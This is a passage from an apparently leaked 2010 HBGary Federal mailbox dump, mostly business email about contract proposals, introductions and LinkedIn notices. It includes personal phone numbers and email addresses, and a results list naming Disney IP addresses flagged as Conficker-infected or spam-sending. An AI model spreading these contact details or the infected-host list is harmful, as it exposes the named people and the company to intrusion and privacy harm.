Razwan N.; Walter, Troy &lt;Troy.Walter@gdit.com&gt;; Kyburz, William (EXT) (GDIT)Sent: Fri May 28 15:19:01 2010Subject: FBI ESOC - Thank You\r\n\r\n\r\n\r\nJust a note out to all of you that the FBI ESOC proposal has been sent to the customer via e-mail and FedEx. \r\n\r\n\r\n\r\nThanks to all of you who spent so much time and effort helping us put together a solid document in order to win the FBI ESOC work. Many long hours were put in by so many and others were quick to assist in so many ways, it was truly appreciated! \r\n\r\nIf I&#8217;ve missed anyone on this e-mail please help me by passing it along, there were just so many to remember. \r\n\r\nI look forward to a WIN and our continued work together in the future. \r\n\r\nThanks again for all your support, have a great weekend! \r\n\r\nMichelle\r\n\r\n\r\n\r\nMichelle Lemke\r\n\r\nSenior Manager Business Development\r\n\r\nGeneral Dynamics Advanced Information Systems\r\n\r\nBB&nbsp; 703-946-1495\r\n\r\nC 757-286-9239\r\n\r\n\r\n\r\n\r\n',10827,'aaron_hbgary_com/10827.html'),(6827,'2010-05-28','\"Mulville, Michael E.\" <MICHAEL.E.MULVILLE@saic.com>','/aaron@hbgary.com/new/1297004917.M960952P14101Q1682.eml','aaron@hbgary.com','FW: SAIC Delayed Message:  Re: CEIC Conf next week','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron &#8211; \r\n\r\n&nbsp;\r\n\r\nRoberts contact info:\r\n\r\n&nbsp;\r\n\r\npaczynskir@saic.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThanks - \r\n\r\n&nbsp;\r\n\r\nr /Mike\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: SAIC-IT-No-Reply \r\nSent: Thursday, May 27, 2010 3:19 PM\r\nSubject: SAIC Delayed Message: Re: CEIC Conf next week\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Mike,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCould I get Roberts contact info?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn May 24, 2010, at 12:39 PM, Mulville, Michael E. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSorry- hit the send button to fast.\r\n\r\nPOC robert Pazynski. I\'ll pass his details along shortly.\r\n\r\nMike\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt; \r\nTo: Mulville, Michael E. \r\nSent: Mon May 24 12:13:28 2010\r\nSubject: Re: CEIC Conf next week \r\n\r\n\r\n\r\nHi Mike,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nQuestion for you. &nbsp;I understand the NANA positions for\r\nHQ are pretty much filled by existing team mates but there might be some\r\nopportunities to fill some positions in San Antonio? &nbsp;Do you know if that\r\nis correct? &nbsp;Any chance you could put me in contact with the PM?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn May 18, 2010, at 6:51 PM, Mulville, Michael E. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nand Bob &#8211;\r\n\r\n\r\n\r\n\r\n\r\n\r\nWill either of you be at the CEIC Conf next week.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLet\r\nme know &#8211; and if not &#8211; anyone I could meet up with ?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThx\r\n- Mike\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMike Mulville\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nVP,\r\nCyber CTO\r\n\r\n\r\n\r\n\r\n\r\nSAIC\r\nCyber Programs\r\n\r\n\r\n\r\n\r\n\r\nMulvilleM@saic.com\r\n\r\n\r\n\r\n\r\n\r\nO/\r\n703.676.8381&nbsp; M/ 703.622.9121\r\n\r\n\r\n\r\n\r\n\r\n1710\r\nSaic Dr.\r\n\r\n\r\n\r\n\r\n\r\nMcLean,\r\nVA 22102\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1760,'aaron_hbgary_com/1760.html'),(6828,'2010-05-28','\"Short, Nadia D.\" <Nadia.Short@gd-ais.com>','/aaron@hbgary.com/new/1297004918.M183461P14101Q1683.eml','\"Lemke, Michelle R.\" <Michelle.Lemke@gd-ais.com>,\"Mack, Cynthia M.\" <Cynthia.Mack@gd-ais.com>,\"Rawls, Rodger C.\" <Rodger.Rawls@gd-ais.com>,\"Burns, Destiny R.\" <Destiny.Burns@gd-ais.com>,\"McDonald, Rich L.\" <Rich.McDonald@gd-ais.com>,\"Jaeger, James A.\" <jim.jaeger@gd-ais.com>,\"Charlie.Prouty@GDIT.com\" <Charlie.Prouty@GDIT.com>,\"Saxty, Lori J.\" <Lori.Saxty@gd-ais.com>,\"Jmetzler@sms.com\" <Jmetzler@sms.com>,\"blillard@emesec.net\" <blillard@emesec.net>,\"Troy.Walter@gdit.com\" <Troy.Walter@gdit.com>,\"Mackert, Todd D.\" <Todd.Mackert@gd-ais.com>,\"Castrejon, Tomas M.\" <Tomas.Castrejon@gd-ais.com>,\"Autry, Errin L.\" <Errin.Autry@gd-ais.com>,\"Arismendi, Charles B.\" <Charles.Arismendi@gd-ais.com>,\"Anderson, Melvin\" <Melvin.Anderson@gd-ais.com>,\"aaron@hbgary.com\" <aaron@hbgary.com>,\"Brunelli, Rex\" <Rex.Brunelli@gd-ais.com>,\"Berthiaume, Richard A.\" <richard.berthiaume@gd-ais.com>,\"Cornell, Billie J.\" <Billie.Cornell@gd-ais.com>,\"Barrett, Rob J.\" <Rob.Barrett@gd-ais.com>,\"Burton, Roger C.\" <Roger.Burton@gd-ais.com>,\"Carron, Brian E.\" <Brian.Carron@gd-ais.com>,\"Brooks, Holly\" <Holly.Brooks@gd-ais.com>,\"Mondloch, Carrie H.\" <carrie.mondloch@gd-ais.com>,\"Joseph, Carol M.\" <Carol.Joseph@gd-ais.com>,\"Carolina, Shelby D.\" <shelby.carolina@gd-ais.com>,\"Carter, Richard (NE)\" <Richard.Carter@gd-ais.com>,\"mchorton@emesec.net\" <mchorton@emesec.net>,\"Christopher.Jacks@gdit.com\" <Christopher.Jacks@gdit.com>,\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>,\"Hickey, David T.\" <David.Hickey@gd-ais.com>','Re: FBI ESOC - Thank You','\r\n\r\n\r\n\r\n\r\nFBI ESOC - Thank You\r\n\r\n\r\nGreat work everyone. I know how tough this was and I know the effort was tremendous.Thank you all very much.Nadia D. ShortVP Strategy and Business Development Cell:508-277-7714\r\n\r\n\r\nFrom: Lemke, Michelle R.To: Short, Nadia D.; Mack, Cynthia M.; Rawls, Rodger C.; Burns, Destiny R.; McDonald, Rich L.; Jaeger, James A.; Prouty, Charlie S &lt;Charlie.Prouty@GDIT.com&gt;; Saxty, Lori J.; Metzler, Jay &lt;Jmetzler@sms.com&gt;; Bill Lillard &lt;blillard@emesec.net&gt;; Walter, Troy &lt;Troy.Walter@gdit.com&gt;; Mackert, Todd D.; Castrejon, Tomas M.; Autry, Errin L.; Arismendi, Charles B.; Anderson, Melvin; Aaron Barr &lt;aaron@hbgary.com&gt;; Brunelli, Rex; Berthiaume, Richard A.; Cornell, Billie J.; Barrett, Rob J.; Burton, Roger C.; Carron, Brian E.; Brooks, Holly; Mondloch, Carrie H.; Joseph, Carol M.; Carolina, Shelby D.; Carter, Richard (NE); Maria Horton &lt;mchorton@emesec.net&gt;; Jacks, Christopher &lt;Christopher.Jacks@gdit.com&gt;; Harlow, Douglas M.; Hickey, David T.; Duck, Kenneth I.; Domingue, Duane D.; Jackson, Eric D.; Nieves, Efrain; Lhotka, Erven R.; Egloff, Susan C.; Hoagland, Kimberly A.; Hilliard, Jennifer M.; Hickey, David T.; Hart, Kelly J.; Hill, Pamela E.; Varga, Joan A.; John Reed Stark &lt;JStark@StrozFriedberg.com&gt;; Michael, Jim A.; Petrauskas, Karen J.; Satterfield, Linda S.; Luna, Roby &lt;rluna@sms.com&gt;; Mackert, Todd D.; McLaine, Kate L.; White-Taber, Marjorie J.; Green, Rosemary; Stern, Matthew A.; Tilden, Michael J.; Newman, Christopher J.; Raja, Razwan N.; Walter, Troy &lt;Troy.Walter@gdit.com&gt;; Kyburz, William (EXT) (GDIT)Sent: Fri May 28 15:19:01 2010Subject: FBI ESOC - Thank You\r\n\r\n\r\n\r\nJust a note out to all of you that the FBI ESOC proposal has been sent to the customer via e-mail and FedEx. \r\n\r\n\r\n\r\nThanks to all of you who spent so much time and effort helping us put together a solid document in order to win the FBI ESOC work. Many long hours were put in by so many and others were quick to assist in so many ways, it was truly appreciated! \r\n\r\nIf I&#8217;ve missed anyone on this e-mail please help me by passing it along, there were just so many to remember. \r\n\r\nI look forward to a WIN and our continued work together in the future. \r\n\r\nThanks again for all your support, have a great weekend! \r\n\r\nMichelle\r\n\r\n\r\n\r\nMichelle Lemke\r\n\r\nSenior Manager Business Development\r\n\r\nGeneral Dynamics Advanced Information Systems\r\n\r\nBB&nbsp; 703-946-1495\r\n\r\nC 757-286-9239\r\n\r\n\r\n\r\n\r\n',9603,'aaron_hbgary_com/9603.html'),(6829,'2010-05-28','\"JD Kathuria\" <jd@executivebiz.com>','/aaron@hbgary.com/new/1297004918.M407335P14101Q1684.eml','\"Aaron Barr\" <aaron@hbgary.com>','JD Kathuria wants to connect on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n      JD Kathuria requested to add you as a connection on LinkedIn:\r\n\r\n  \r\n    Aaron,\r\n\r\nI\'d like to add you to my professional network on LinkedIn.\r\n\r\n- JD Kathuria\r\n  \r\n\r\n  &nbsp;\r\n\r\n   \r\n     \r\n         \r\n           Accept\r\n         \r\n          \r\n               View invitation from JD Kathuria\r\n         \r\n     \r\n   \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',15695,'aaron_hbgary_com/15695.html'),(6830,'2010-05-28','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297004918.M730935P14101Q1685.eml','\"Aaron Barr\" <aaron@hbgary.com>','Scott Suhy has accepted your LinkedIn invitation','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInvitation Accepted\r\n\r\n\r\n&nbsp;\r\n\r\nCongratulations! You and Scott are now connected.\r\n\r\n \r\n   \r\n   View Scott\'s profile to:\r\n     \r\n       Download Scott\'s current contact information\r\n       Write a recommendation for Scott\r\n       Find opportunities through Scott\'s network\r\n       See who you know in common\r\n     \r\n   &nbsp;\r\n   \r\n   Continue building your network:Every person you connect with builds value for you and all your connections.\r\n \r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n If these links are not working, you can paste the following address into your browser: http://www.linkedin.com/e/fpf/572335/EML-inv-acc-prof/ Thank you for using LinkedIn! -- The LinkedIn Team\r\nhttp://www.linkedin.com/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&copy; 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n',856,'aaron_hbgary_com/856.html'),(6831,'2010-05-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004919.M894855P14101Q1686.eml','\"Scott Suhy\" <Scott.Suhy@PointAbout.com>','Re: Introduction','Scott,\r\n\r\nHere is a copy of our NDA.  Let me know if you have any questions.\r\n\r\nAre you going after the following SBIR?\r\nSB102-002                           TITLE: Handheld Apps for Warfighters\r\n \r\nWe are going to submit for this a few ideas, but would like to discuss the potential for partnering.\r\n\r\nLook forward to meeting in person.\r\n\r\nAaron\r\n\r\n\r\n\r\nOn May 27, 2010, at 9:32 AM, Scott Suhy wrote:\r\n\r\n> Aaron,\r\n> \r\n> Give me a ring today (cell below).\r\n> \r\n> ____________________________________________________\r\n> Scott B. Suhy\r\n> CEO, PointAbout Inc.\r\n> Cell: 202.557.6937\r\n> 1410 Q street NW Washington, DC 20009 (http://1410q.com) \r\n> skype:scott.suhy \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, May 27, 2010 9:07 AM\r\n> To: info@PointAbout.com\r\n> Subject: Introduction\r\n> \r\n> Hi PointAbout,\r\n> \r\n> I have been doing a little bit of research on local DC talent for mobile\r\n> development and found you guys, turns out I actually have a few of your apps\r\n> on my iPhone.\r\n> \r\n> My company is the sister company to HBGary Inc. focused on malware analysis,\r\n> incident response, and information operations products and services.  But\r\n> the reason for writing you is I have about 7 years experience in the web and\r\n> mobile app and services space as well and have some interesting ideas.  It\r\n> was all work done for the government so while I think I have a vision for\r\n> the direction of mobile information and services (the most important market\r\n> going forward IMO).  I don\'t know the people or processes in the purely\r\n> commercial space.\r\n> \r\n> I would like to exchange an NDA and come talk to you guys about the mobile\r\n> space.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.819 / Virus Database: 271.1.1/2897 - Release Date: 05/26/10\r\n> 14:26:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',16604,'aaron_hbgary_com/16604.html'),(6832,'2010-05-29','\"Paul Nemirovsky\" <pauln@jdn-int.com>','/aaron@hbgary.com/new/1297004920.M152739P14101Q1687.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Introductions','&nbsp;\r\nAaron:\r\n&nbsp;\r\nThank you for the note.&nbsp;&nbsp; I would be glad to get together.&nbsp; My office is in Millersville and I live in Rockville, MD.&nbsp; Perhaps,&nbsp; we could get together for lunch one day.\r\n&nbsp;\r\n&nbsp;\r\nRegards,\r\n&nbsp;\r\n&nbsp;\r\nPaul&nbsp; (703-622-6115 (m))\r\n___________________________________________________________--- On Fri, 5/28/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: IntroductionsTo: \"Dr. Paul Nemirovsky\" &lt;pauln@jdn-int.com&gt;Date: Friday, May 28, 2010, 8:31 PM\r\n\r\n\r\n\r\n\r\n\r\nLinkedIn\r\nAaron Barr has sent you a message.\r\nDate: 5/28/2010 \r\nSubject: Introductions \r\nHi Paul, I am not sure if we have actually met. I am interested in getting together to talk cyber when you have some time. Aaron \r\nView/reply to this message\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n© 2010, LinkedIn Corporation',6580,'aaron_hbgary_com/6580.html'),(6833,'2010-05-29','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297004920.M408749P14101Q1688.eml','\"Newbern, David W (TASC)\" <DAVID.NEWBERN@tasc.com>,\"Brunst Jr, Gerald R (TASC)\" <GERALD.BRUNSTJR@tasc.com>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Garcia, Kathy (TASC)\" <KATHERINE.GARCIA@tasc.com>,aaron@hbgary.com,economou@akamai.com','Akamai Technologies Capabilities Meeting','\r\n\r\n\r\n\r\n\r\nAkamai Technologies Capabilities Meeting \r\n\r\n\r\n\r\n\r\nType:Single Meeting\r\nOrganizer:Clair, Chris (TASC)\r\nStart Time:Tuesday, June 15, 2010 10:00 AM\r\nEnd Time:Tuesday, June 15, 2010 11:00 AM\r\nTime Zone:(GMT-05:00) Eastern Time (US &amp; Canada)\r\nLocation:WF3, 3B\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n*** Notice the new date *****\r\n\r\nAkamai Technologies&nbsp; - George Economou&nbsp; is visiting us to talk about what they can provide for COIN.\r\n\r\nLet me know if you have any questions.\r\n\r\nThanks,\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3744,'aaron_hbgary_com/3744.html'),(6834,'2010-05-29','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297004920.M623356P14101Q1689.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Disney','On Friday we started Mark&#39;s script to automatically run through all of the Disney netblocks.  I just checked it and this is what we&#39;ve found so far:IP : 12.192.106.104Confidence : 13.876823%Events : \r\n    Conficker A/B : Wed Dec  9 18:37:01 2009 GMTIP : 12.44.117.104Confidence : 13.783842%Events :     Conficker A/B : Wed Dec  9 11:38:23 2009 GMTIP : 153.8.0.217Confidence : 10%Events : \r\n    Spam : Sat Mar  7 16:59:00 2009 GMTIP : 153.8.48.246Confidence : 10%Events :     Spam : Fri Feb 13 00:59:00 2009 GMTIP : 153.8.72.232Confidence : 10%Events :     Spam : Fri Jan 23 10:59:00 2009 GMT\r\nIP : 153.8.95.199Confidence : 10%Events :     Spam : Sun Aug 16 22:59:00 2009 GMTIP : 153.8.98.57Confidence : 10%Events :     Spam : Wed Feb 11 10:59:00 2009 GMTIP : 153.8.161.83\r\nConfidence : 10%Events :     Spam : Tue Feb 10 15:59:00 2009 GMTIP : 153.8.173.35Confidence : 10%Events :     Spam : Wed Aug  5 13:59:00 2009 GMTIP : 153.8.209.132Confidence : 10%\r\nEvents :     Spam : Mon Feb  9 03:59:00 2009 GMT\r\n',3721,'aaron_hbgary_com/3721.html'),(6835,'2010-05-29','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297004920.M838156P14101Q1690.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Script','Your script running in the cmd.exe window had the following error:  Checking : 153.8.214.182Checking : 153.8.214.183Checking : 153.8.214.184Checking : 153.8.214.185Checking : 153.8.214.186malformed text data., at character offset 0 (before &quot;(end of string)&quot;) at ipchec\r\nker.pl line 43Not sure if it completed the run or not.Ted\r\n',594,'aaron_hbgary_com/594.html'),(6836,'2010-05-29','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004921.M282900P14101Q1692.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','AD','I got our AD server up and running.  To fix it I needed to install the\r\nlatest version of .Net.\r\n\r\nTed\r\n',7009,'aaron_hbgary_com/7009.html'),(6837,'2010-05-29','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004921.M605947P14101Q1693.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Disney','I checked the netblock file and it wasn\'t done.  I restarted it where\r\nit left off, and I\'m writing results to disneyresultscontinued.txt.\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',11860,'aaron_hbgary_com/11860.html'),(6838,'2010-05-29','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004921.M66880P14101Q1691.eml','mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','Oops...','I guess Mark has gmail set to auto-login, I thought I logged in as myself...\r\n\r\nTed\r\n',14652,'aaron_hbgary_com/14652.html'),(6839,'2010-05-30','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297004921.M989207P14101Q1694.eml','\"Aaron Barr\" <aaron@hbgary.com>','BeThere Deals Brings (More) Time-Sensitive, Local Deals To SF','BeThere Deals Brings (More) Time-Sensitive, Local Deals To SFIt’s no secret that mobile, hyperlocal advertising is poised to grow into a massive market in the next few years, spurred by the proliferation of GPS-equipped smartphones.   Earlier this week we saw the launch of another competitor called BeThere Deals that’s hoping to crack the nut. The service offers a self-serve platform for local businesses, who can quickly deploy time sensitive deals that are limited in quantity.\r\nWhile it’s focused primarily on time sensitive, local deals, BeThere Deals isn’t really in the same vein as&nbsp;GroupOn and LivingSocial —&nbsp;it doesn’t have a ‘group buying’ mechanic, and it features many deals in an area, rather than one or two.  Instead, it’s more competitive with apps like Yowza!!, Mobile Coupons, and Mobiqpons.\r\nThe service is pretty straightforward: you download the free iPhone app, then open it up when you’re in a supported city to find some regional deals.  At this point the service is only available in San Francisco, but it will be expanding to Los Angeles and New York City in the near future.\r\nSo how is BeThere going to survive when there are already some bigger players in this space?  The company says it has a few key differentiators.  First, it says that it’s primarily targeting local, independent businesses, rather than chains (they say that one goal is to make the application useful for discovering interesting new mom-and-pop stores and restaurants). Second, the application is exclusively for time-specific deals that are deployed in real-time by merchants — BeThere could be used by a local bakery, for example, that’s looking to sell excess pastries at a discount before the end of the day.  The service will make money by charging merchants on a per-conversion basis.\r\nThe app still has a ways to go.  For one, it badly needs push notifications —&nbsp;right now users have to manually open the app to see new deals, which isn’t much help when some of the deals are only available for a few hours (the startup says the feature is on the way). And the service obviously needs to get traction with users before it will be very appealing to many businesses (it’s the classic chicken-and-egg problem). The app is also going to see plenty of competition.  Aside from the services mentioned above, location-based services like Foursquare have already started to enter this space.\r\nOne thing to note —&nbsp;the iPhone application currently has a pretty low average rating (though most of the written reviews are positive).  The company says this is because users outside of San Francisco are downloading it, only to find that they can’t access any deals.\r\n       \r\n     \r\nFrom my iPhone',4343,'aaron_hbgary_com/4343.html'),(6840,'2010-05-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004922.M220573P14101Q1695.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Fwd: BeThere Deals Brings (More) Time-Sensitive, Local Deals To SF','From my iPhoneBegin forwarded message:From: Aaron Barr &lt;adbarr@mac.com&gt;\r\nDate: May 30, 2010 8:30:43 AM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: BeThere Deals Brings (More) Time-Sensitive, Local Deals To SF\r\nBeThere Deals Brings (More) Time-Sensitive, Local Deals To SF\r\nIt’s no secret that mobile, hyperlocal advertising is poised to grow into a massive market in the next few years, spurred by the proliferation of GPS-equipped smartphones.   Earlier this week we saw the launch of another competitor called BeThere Deals that’s hoping to crack the nut. The service offers a self-serve platform for local businesses, who can quickly deploy time sensitive deals that are limited in quantity.\r\n\r\nWhile it’s focused primarily on time sensitive, local deals, BeThere Deals isn’t really in the same vein as GroupOn and LivingSocial — it doesn’t have a ‘group buying’ mechanic, and it features many deals in an area, rather than one or two.  Instead, it’s more competitive with apps like Yowza!!, Mobile Coupons, and Mobiqpons.\r\n\r\nThe service is pretty straightforward: you download the free iPhone app, then open it up when you’re in a supported city to find some regional deals.  At this point the service is only available in San Francisco, but it will be expanding to Los Angeles and New York City in the near future.\r\n\r\nSo how is BeThere going to survive when there are already some bigger players in this space?  The company says it has a few key differentiators.  First, it says that it’s primarily targeting local, independent businesses, rather than chains (they say that one goal is to make the application useful for discovering interesting new mom-and-pop stores and restaurants). Second, the application is exclusively for time-specific deals that are deployed in real-time by merchants — BeThere could be used by a local bakery, for example, that’s looking to sell excess pastries at a discount before the end of the day.  The service will make money by charging merchants on a per-conversion basis.\r\n\r\nThe app still has a ways to go.  For one, it badly needs push notifications — right now users have to manually open the app to see new deals, which isn’t much help when some of the deals are only available for a few hours (the startup says the feature is on the way). And the service obviously needs to get traction with users before it will be very appealing to many businesses (it’s the classic chicken-and-egg problem). The app is also going to see plenty of competition.  Aside from the services mentioned above, location-based services like Foursquare have already started to enter this space.\r\n\r\nOne thing to note — the iPhone application currently has a pretty low average rating (though most of the written reviews are positive).  The company says this is because users outside of San Francisco are downloading it, only to find that they can’t access any deals.\r\n\r\n       \r\n\r\n     \r\nFrom my iPhone\r\n',13668,'aaron_hbgary_com/13668.html'),(6841,'2010-05-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004922.M509337P14101Q1696.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com,\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Disney Results','Below are the complete results for the Disney query against the\r\nEndGame database.  I\'ve also included the Netblocks we searched for:\r\n\r\nIP : 12.192.106.104\r\nConfidence : 13.876823%\r\nEvents :\r\n	Conficker A/B : Wed Dec  9 18:37:01 2009 GMT\r\n\r\nIP : 12.44.117.104\r\nConfidence : 13.783842%\r\nEvents :\r\n	Conficker A/B : Wed Dec  9 11:38:23 2009 GMT\r\n\r\nIP : 153.8.0.217\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sat Mar  7 16:59:00 2009 GMT\r\n\r\nIP : 153.8.48.246\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Feb 13 00:59:00 2009 GMT\r\n\r\nIP : 153.8.72.232\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Jan 23 10:59:00 2009 GMT\r\n\r\nIP : 153.8.95.199\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Aug 16 22:59:00 2009 GMT\r\n\r\nIP : 153.8.98.57\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Feb 11 10:59:00 2009 GMT\r\n\r\nIP : 153.8.161.83\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Tue Feb 10 15:59:00 2009 GMT\r\n\r\nIP : 153.8.173.35\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Aug  5 13:59:00 2009 GMT\r\n\r\nIP : 153.8.209.132\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Feb  9 03:59:00 2009 GMT\r\n\r\n\r\n\r\nIP : 192.195.66.20\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Thu Jan  1 08:59:00 2009 GMT\r\n\r\nIP : 192.195.66.30\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sat Apr 18 14:59:00 2009 GMT\r\n\r\nIP : 192.195.66.32\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sat Apr 18 15:59:00 2009 GMT\r\n\r\nIP : 192.195.66.39\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Feb 16 20:59:00 2009 GMT\r\n\r\nIP : 192.195.66.46\r\nConfidence : 99.996156%\r\nEvents :\r\n	Conficker C : Sat May 29 14:44:01 2010 GMT\r\n	Conficker A/B : Mon May  3 15:21:12 2010 GMT\r\n\r\nIP : 192.195.66.47\r\nConfidence : 99.996156%\r\nEvents :\r\n	Conficker C : Sat May 29 14:06:41 2010 GMT\r\n	Conficker A/B : Wed May 12 04:38:44 2010 GMT\r\n\r\nIP : 192.195.66.48\r\nConfidence : 10%\r\nEvents :\r\n	Conficker C : Fri Sep 18 09:06:28 2009 GMT\r\n	Conficker A/B : Thu Mar 19 21:57:36 2009 GMT\r\n\r\nIP : 192.195.66.49\r\nConfidence : 10%\r\nEvents :\r\n	Conficker C : Thu Sep 17 04:46:23 2009 GMT\r\n	Conficker A/B : Thu Mar 19 15:56:55 2009 GMT\r\n\r\nIP : 192.195.66.129\r\nConfidence : 74.189803%\r\nEvents :\r\n	Conficker C : Wed Jan 13 00:11:53 2010 GMT\r\n	Conficker A/B : Thu May 20 17:47:01 2010 GMT\r\n	Spam : Thu Oct 22 02:59:00 2009 GMT\r\n\r\nIP : 192.195.67.2\r\nConfidence : 99.974096%\r\nEvents :\r\n	Conficker C : Sat May 29 06:24:17 2010 GMT\r\n	Conficker A/B : Wed Apr 28 09:42:25 2010 GMT\r\n\r\nIP : 192.195.67.23\r\nConfidence : 10%\r\nEvents :\r\n	Conficker A/B : Tue Sep  1 18:32:24 2009 GMT\r\n\r\nIP : 192.195.67.31\r\nConfidence : 27.866874%\r\nEvents :\r\n	Conficker A/B : Wed Jan 27 07:30:02 2010 GMT\r\n\r\nIP : 192.195.67.72\r\nConfidence : 10%\r\nEvents :\r\n	Conficker A/B : Fri Aug 21 06:59:48 2009 GMT\r\n\r\nIP : 192.195.67.114\r\nConfidence : 